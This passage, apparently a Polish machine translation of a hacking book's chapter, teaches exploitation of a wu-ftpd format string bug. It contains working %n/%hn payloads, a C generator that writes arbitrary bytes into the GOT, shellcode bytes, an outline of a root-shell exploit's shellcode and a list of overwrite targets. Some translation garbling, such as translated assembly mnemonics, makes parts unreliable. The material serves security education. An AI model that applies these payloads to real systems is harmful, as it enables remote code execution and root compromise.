Jeśli dołączymy gdb do naszego podrzędnego procesu ftp tak jak poprzednio, powinniśmy zobaczyć to:

(gdb) symbol-file /usr/sbin/in.ftpd

Reading symbols from /usr/sbin/in.ftpd...done.

(gdb) attach 11902

Attaching to process 11902

0x4015a344 in ?? ()

(gdb) continue

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x0000000a in ?? ()

Pomyślnie przekierowaliśmy ścieżkę realizacji do wybranej przez nas lokalizacji. Aby zrobić coś sensownego, będziemy potrzebować szelkodu. Weźmy małą ilość szelkodu, o którym wiemy, że zadziała, wywołanie exit(2).

UWAGA: Ogólnie uważam, że podczas tworzenia exploitów lepiej jest używać wbudowanego asemblera, ponieważ pozwala to na łatwiejszą zabawę. Możesz stworzyć wiązkę exploitów, która wykonuje wszystkie połączenia z gniazdami i łatwo zapisuje fragmenty kodu powłoki, jeśli coś nie działa lub jeśli chcesz zrobić coś nieco innego. Asembler inline jest również o wiele bardziej czytelny niż stała łańcuchowa C składająca się z bajtów szesnastkowych.

```
#include <stdio.h>

#include <stdlib.h>

int main()

{

asm("\

xor %eax, %eax;\

xor %ecx, %ecx;\

xor %edx, %edx;\
```

```
mov $0x01, %al;\
xor %ebx, %ebx;\
mov $0x02, %bl;\
int $0x80;\
");
return 1;
}
```

Tutaj ustawiamy wywołanie systemowe wyjścia przez int 0x80. Skompiluj i uruchom kod i sprawdź, czy działa. Ponieważ potrzebujemy tylko kilku bajtów, możemy użyć GOT jako lokalizacji do przechowywania naszego kodu. Adres printf jest przechowywany w 0x0806d3b0. Napiszmy zaraz po tym, powiedzmy od 0x0806d3b4. Rodzi to pytanie, w jaki sposób wpisujemy dużą wartość na wybrany przez nas adres. Wiemy już, że możemy użyć %n do zapisania małej wartości pod wybrany przez nas adres. Dlatego teoretycznie moglibyśmy wykonać cztery zapisy po 1 bajt każdy, używając bajtu niższego rzędu naszego licznika „do tej pory wyprowadzanych znaków". To oczywiście nadpisze 3 bajty sąsiadujące z wartością, którą piszemy. Bardziej wydajną metodą jest użycie modyfikatora długości h. Poniższa konwersja liczb całkowitych odpowiada krótkiemu argumentowi int lub krótkiemu argumentowi int bez znaku lub następująca konwersja n odpowiada wskaźnikowi na krótki argument int. Więc jeśli użyjemy specyfikatora %hn, napiszemy wielkość 16-bitową. Prawdopodobnie będziemy mogli użyć specyfikatorów długości w zakresie 64K, więc spróbujmy:

```
./dowu localhost $'\xb0\xd3\x06\x08%50000x%272$n' 1
```

Otrzymujemy to:

```
Program otrzymał sygnał SIGSEGV, błąd segmentacji.
0x0000c35a w ?? ()
```

c35a to 50010, czyli dokładnie to, czego byśmy się spodziewali. W tym momencie musimy wyjaśnić, w jaki sposób ta wartość (0xc35a) jest zapisywana. Cofnijmy się trochę i uruchommy to:

```
./do_wu localhost abc 0
```

wu-ftpd wyprowadza to:

```
200-indeks abc
```

Dostarczany przez nas ciąg formatujący jest dodawany na końcu indeksu ciągu (który ma sześć znaków). Oznacza to, że kiedy używamy specyfikatora %n, piszemy następującą liczbę:

6 + <number of characters in our string before the %n> + <padding number>

Tak więc, kiedy to robimy:

```
./dowu localhost $'\xb0\xd3\x06\x08%50000x%272$n' 1
```

piszemy (6 + 4 + 50000) na adres 0x0806d3b0; szesnastkowo, 0xc35a. Spróbujmy teraz napisać 0x41414141 na adres printf:

```
./dowu localhost $'\xb0\xd3\x06\x08\xb2\xd3\x06\x08%16691x%272$n%273$n' 1
```

Otrzymujemy:

Program otrzymał sygnał SIGSEGV, błąd segmentacji.

0x41414141 w ?? ()

Więc przeskoczyliśmy do 0x41414141. To było trochę oszustwo, ponieważ zapisaliśmy tę samą wartość (0x4141) dwa razy — raz do adresu wskazywanego przez parametr 272, a drugi raz do 273, po prostu określając inny parametr pozycyjny-%273$n. Jeśli chcemy napisać całą serię bajtów, ciąg znaków się komplikuje. Poniższe ułatwi nam to:

```
#include <stdio.h>

#include <stdlib.h>

int safe_strcat( char *dest, char *src, unsigned dest_len )

{

if( ( dest == NULL ) || ( src == NULL ) )

return 0;

if ( strlen( src ) + strlen( dest ) + 10 >= dest_len )

return 0;

strcat( dest, src );

return 1;

}

int err( char *msg )

{

printf("%s\n", msg);

return 1;

}

int main( int argc, char *argv[] )

{

// modify the strings below to upload different data to the wu-ftpd process...

char *string_to_upload = "mary had a little lamb";

unsigned int addr = 0x0806d3b0;

// this is the offset of the parameter that 'contains' the start of our string.

unsigned int param_num = 272;

char buff[ 4096 ] = "";

int buff_size = 4096;
```

```
char tmp[ 4096 ] = “”;
int i, j, num_so_far = 6, num_to_print, num_so_far_mod;
unsigned short s;
char *psz;
int num_addresses, a[4];
// first work out How many addresses there are. num bytes / 2 + num bytes mod 2.
num_addresses = (strlen( string_to_upload ) / 2) + strlen( string_to_upload) % 2;
for( i = 0; i < num_addresses; i++ )
{
a[0] = addr & 0xff;
a[1] = (addr & 0xff00) >> 8;
a[2] = (addr & 0xff0000) >> 16;
a[3] = (addr) >> 24;
sprintf( tmp, “\\x%.02x\\x%.02x\\x%.02x\\x%.02x”, a[0], a[1], a[2], a[3] );
if( !safe_strcat( buff, tmp, buff_size ))
return err(“Oops. Buffer too small.”);
addr += 2;
num_so_far += 4;
}
printf( “%s\n”, buff );
// now upload the string 2 bytes at a time. Make sure that num_so_far is
appropriate by doing %2000x or whatever.
psz = string_to_upload;
while( (*psz != 0) && (*(psz+1) != 0) )
{
// how many chars to print to make (so_far % 64k)==s
//
s = *(unsigned short *)psz;
num_so_far_mod = num_so_far &0xffff;
num_to_print = 0;
if( num_so_far_mod < s )
```

```
num_to_print = s - num_so_far_mod;
else
if( num_so_far_mod > s )
num_to_print = 0x10000 - (num_so_far_mod - s);
// if num_so_far_mod and s are equal, we'll 'output' s anyway :o)
num_so_far += num_to_print;
// print the difference in characters
if( num_to_print > 0 )
{
sprintf( tmp, "%%%dx", num_to_print );
if(!safe_strcat( buff, tmp, buff_size ))
return err("Buffer too small.");
}
// now upload the 'short' value
sprintf( tmp, "%%%d$hn", param_num );
if( !safe_strcat( buff, tmp, buff_size ))
return err("Buffer too small.");
psz += 2;
param_num++;
}
printf( "%s\n", buff );
sprintf( tmp, "./dowu localhost $'%s' 1\n", buff );
system( tmp );
return 0;
}
```

Ten program będzie działał jak uprząż dla kodu dowu, który napisaliśmy wcześniej, przesyłając ciąg (maria miała trochę baranka) na adres w GOT. Jeśli debugujemy wu-ftpd i spojrzymy na lokalizację w pamięci, którą właśnie nadpisaliśmy, powinniśmy zobaczyć:

```
x/s 0x0806d3b0
0x806d3b0 <_GLOBAL_OFFSET_TABLE_+416>: "mary had a little
lamb\026@\220ð\017@V¥\004…(etc)
```

Widzimy, że możemy teraz umieścić dowolną sekwencję bajtów w dowolnym miejscu pamięci. Jesteśmy teraz gotowi, aby przejść do exploita. Jeśli skompilujesz powyższy kod powłoki wyjścia, a następnie debugujesz go w gdb, otrzymasz następującą sekwencję bajtów reprezentujących instrukcje asemblera:

\x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80

Daje nam to następującą stałą łańcuchową do przesłania przy użyciu powyższego kodu gen_upload_string.c:

char *string_to_upload =

“\xb4\xd3\x06\x08\x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80”;

// exit(0x02);

Jest tutaj mały hack, który należy wyjaśnić. Początkowe 4 bajty tego łańcucha zastępują wpis printf w GOT, przeskakując do wybranego przez nas adresu, gdy program wywołuje printf po wykonaniu podatnej na ataki funkcji vsnprintf(). W tym przypadku po prostu nadpisujemy GOT, zaczynając od wpisu printf i kontynuując nasz shellcode. Jest to oczywiście okropny hack, ale ilustruje technikę przy minimalnym zamieszaniu. Pamiętaj, że czytasz książkę o hackowaniu, więc nie oczekuj, że wszystko będzie całkowicie czyste! Kiedy uruchamiamy nasz nowy ciąg gen_upload, powoduje to następującą sesję gdb:

[root@vulcan format_string]# ps -aux | grep ftp

…

ftp 20578 0.0 0.4 2120 1052 pts/2 S 10:53 0:00 ftpd:

localhost.l

…

[root@vulcan format_string]# gdb

(gdb) attach 20578

Attaching to process 20578

0x4015a344 in ?? ()

(gdb) continue

Continuing.

Program exited with code 02.

(gdb)

Być może w tym momencie, ponieważ uruchamiamy wybrany przez nas kod w wu-ftpd, powinniśmy przyjrzeć się, co inni zrobili w swoich exploitach. Jednym z najpopularniejszych exploitów związanych z tym problemem był exploit wuftpd2600.c. Wiemy już szeroko, jak zrobić wybrany przez nas kod uruchamiający wu-ftpd, więc interesującą częścią jest shellcode. Ogólnie rzecz biorąc, kod wykonuje następujące czynności:

1. Ustawia setreuid() na 0, aby uzyskać uprawnienia roota.

2. Uruchamia dup2(), aby uzyskać kopię uchwytów std, dzięki czemu nasz proces potomny powłoki może używać tego samego gniazda.

3. Ustala, gdzie w pamięci znajdują się stałe łańcuchowe na końcu bufora, przez jmp() do instrukcji call, a następnie zdejmując zapisany adres powrotu ze stosu.

4. Przerywa chroot() przez użycie powtarzanego chdir, po którym następuje wywołanie chroot().

5. Uruchamia execve() w powłoce.

Większość opublikowanych exploitów dla błędu wu-ftpd używa albo identycznego kodu, albo kodu, który jest wyjątkowo podobny.

Dlaczego się to stało?

Dlaczego więc w ogóle istnieją błędy ciągu formatującego? Można by pomyśleć, że ktoś implementujący printf() mógłby policzyć liczbę parametrów przekazanych w wywołaniu funkcji, porównać ją z liczbą specyfikatorów formatu w łańcuchu i zwrócić błąd, jeśli te dwa się nie zgadzają. Niestety nie jest to możliwe ze względu na fundamentalny problem ze sposobem, w jaki funkcje ze zmienną liczbą parametrów są obsługiwane w C. Aby zadeklarować funkcję ze zmienną liczbą parametrów, użyj składni wielokropka, takiej jak ta:

void foo(char *fmt, ...)

(Możesz w tym miejscu spojrzeć na man va_arg, który wyjaśnia dostęp do listy parametrów zmiennych.) Kiedy twoja funkcja zostanie wywołana, użyjesz makra va_start, aby poinformować standardową bibliotekę C, gdzie zaczyna się twoja lista argumentów zmiennych. Następnie wielokrotnie wywołujesz makro va_arg, aby pobrać argumenty ze stosu, a następnie wywołujesz makro va_end, aby poinformować standardową bibliotekę C, że zakończyłeś pracę z listą zmiennych argumentów. Problem polega na tym, że w żadnym momencie nie byłeś w stanie określić, ile argumentów zostało przekazanych, więc musisz polegać na innym mechanizmie, aby ci to powiedzieć, takim jak dane w ciągu formatu lub argument, który ma wartość NULL:

foo(1,2,3, NULL);

Chociaż wydaje się to dość niewiarygodne, to jest ANSI C89 , standardowy sposób radzenia sobie z funkcjami ze zmienną liczbą argumentów, więc jest to standard, który wszyscy zaimplementowali. Teoretycznie każda funkcja C, która przyjmuje zmienną liczbę argumentów, jest potencjalnie podatna na ten sam problem — nie jest w stanie stwierdzić, kiedy kończy się jej lista argumentów — chociaż w praktyce tych funkcji jest niewiele. Podsumowując, błąd jest winą ANSI i C89 i ma niewiele lub nie ma nic wspólnego z jakimkolwiek realizatorem standardowej biblioteki C.

Podsumowanie techniki ciągów formatujących

Jesteśmy teraz w punkcie, w którym możemy zacząć wykorzystywać błędy ciągów formatu Linuksa. Przyjrzyjmy się szybko podstawowym technikom, z których korzystaliśmy:

1. Jeśli ciąg formatu znajduje się na stosie, możemy podać parametry, które są używane podczas dodawania specyfikatorów formatu do ciągu. Jeśli brutalnie wymuszamy offsety dla exploita ciągu formatującego, jednym z offsetów, które musimy odgadnąć, jest liczba parametrów, których musimy użyć, zanim dojdziemy do początku naszego ciągu formatującego. Kiedy już możemy określić parametry:

a. Możemy odczytać pamięć z procesu docelowego za pomocą specyfikatora %s.

b. Możemy zapisać liczbę znaków wyprowadzonych do tej pory pod dowolny adres za pomocą specyfikatora %n.

c. Liczbę znaków wyprowadzanych do tej pory możemy modyfikować za pomocą modyfikatorów szerokości.

d. Możemy użyć modyfikatora %hn do zapisywania liczb 16 bitów na raz, co pozwala nam zapisywać wybrane przez nas wartości w wybranych przez nas lokalizacjach.

2. Jeśli adres, na który chcemy pisać, zawiera jeden lub więcej bajtów null, nadal możesz użyć %n do pisania do niego, ale musisz to zrobić w dwóch etapach. Najpierw wpisz adres, pod którym chcesz pisać, do jednego z parametrów na stosie (musisz wiedzieć, gdzie jest stos, aby to zrobić). Następnie użyj %n, aby zapisać pod adresem używając parametru, który zapisałeś na stosie. Alternatywnie, jeśli bajt zerowy w adresie jest bajtem wiodącym (jak to często bywa w przypadku exploitów wykorzystujących ciąg formatujący Windows), możesz użyć końcowego bajtu null samego ciągu formatującego.

3. Bezpośredni dostęp do parametrów (w implementacjach linuksowych z rodziny printf) pozwala nam wielokrotnie używać parametrów stosu w tym samym ciągu formatu, a także pozwala nam bezpośrednio używać tylko tych parametrów, które nas interesują. Bezpośredni dostęp do parametrów wymaga użycia modyfikator $; na przykład:

%272$x

wypisze 272. parametr ze stosu. To jest niezmiernie cenna technika.

4. Jeśli z jakiegoś powodu nie możemy użyć %hn do zapisania naszych wartości 16 bitów na raz, nadal możemy używać zapisów wyrównanych do bajtów i %n: po prostu wykonujemy cztery zapisy zamiast jednego i uzupełniamy naszą liczbę znaków na wyjściu tak, że za każdym razem zapisujemy bajt niższego rzędu. Tabela 4-1 pokazuje przykład, co powinniśmy zrobić, jeśli chcemy zapisać wartość 0x04030201 pod adresem X. Wadą tej techniki jest to, że nadpisujemy 3 bajty po 4 bajtach, które zapisujemy. W zależności od układu pamięci może to nie mieć znaczenia. Ten problem jest jednym z powodów, dla których wykorzystywanie błędów ciągu formatującego w systemie Windows jest kłopotliwe

Teraz, gdy omówiliśmy podstawowe techniki czytania i pisania, spójrzmy, co możemy z nimi zrobić:

* Nadpisz zapisany adres zwrotny. Aby to zrobić, musimy wypracować adres zapisanego adresu zwrotnego, co oznacza zgadywanie, brute force lub ujawnianie informacji.

* Zastąp inny wskaźnik funkcji specyficznej dla aplikacji. Ta technika raczej nie będzie łatwa, ponieważ wiele programów nie udostępnia wskaźników do funkcji. Jednak możesz znaleźć coś przydatnego, jeśli Twoim celem jest aplikacja C++.

* Zastąp wskaźnik do programu obsługi wyjątków, a następnie wywołaj wyjątek. To bardzo prawdopodobne, że zadziała i obejmuje wyjątkowo łatwe do odgadnięcia adresy.

* Zastąp wpis GOT. Zrobiliśmy to w wuftpd. To całkiem dobra opcja.

* Zastąp procedurę obsługi atexit. Możesz lub nie być w stanie użyć tej techniki, w zależności od celu.

* Zastąp wpisy w sekcji DTORS.

* Zamień błąd ciągu formatu w przepełnienie stosu lub sterty, nadpisując terminator null danymi innymi niż null. To trudne, ale wyniki mogą być całkiem zabawne.

* Zapisuj dane specyficzne dla aplikacji, takie jak zapisane wartości UID lub GID, z wybranymi wartościami.

* Zmodyfikuj ciągi zawierające polecenia, aby odzwierciedlić wybrane przez Ciebie polecenia.

Jeśli nie możemy uruchomić kodu na stosie, możemy łatwo ominąć problem w następujący sposób:

* Zapis shellcode do wybranej lokalizacji w pamięci, używając specyfikatorów % ntype. Zrobiliśmy to w naszym przykładzie wuftpd.

* Używając skoku względem rejestru, jeśli używamy brutalnego forsowania, co daje nam znacznie większe szanse na trafienie w nasz kod powłoki (jeśli jest w naszym ciągu formatującym).

Na przykład, jeśli nasz shellcode jest w esp+0x200, możemy nadpisać część GOT czymś takim:

dodaj $0x200, % esp

jmp esp

Daje nam to lokalizację kodu, który przeskoczy do naszego shell, więc kiedy nadpisujemy nasz wskaźnik do funkcji (wpis GOT lub cokolwiek), wiemy, że wylądujemy w naszym shellcode. Ta sama technika działa dla każdego innego rejestru, który wskazuje na lub w pobliżu naszego kodu powłoki po przeanalizowaniu ciągu formatującego. W rzeczywistości możemy dość łatwo napisać mały fragment kodu powłoki, który znajdzie lokalizację większego bufora kodu powłoki, a następnie przeskoczy do niego. Więcej informacji można znaleźć w doskonałej pracy Gery i Riqa dotyczącej Phrack na stronie http://www.phrack.org/archives/59/p59-0x07.txt.

Wniosek

Przedstawiono tylko kilka pomysłów na błędy formatowania ciągów jako przypomnienie i jako materiał do przemyśleń. Chociaż błędy w ciągach formatujących wydają się być coraz rzadsze, oferują tak szeroki zakres technik ataku, że warto je zrozumieć.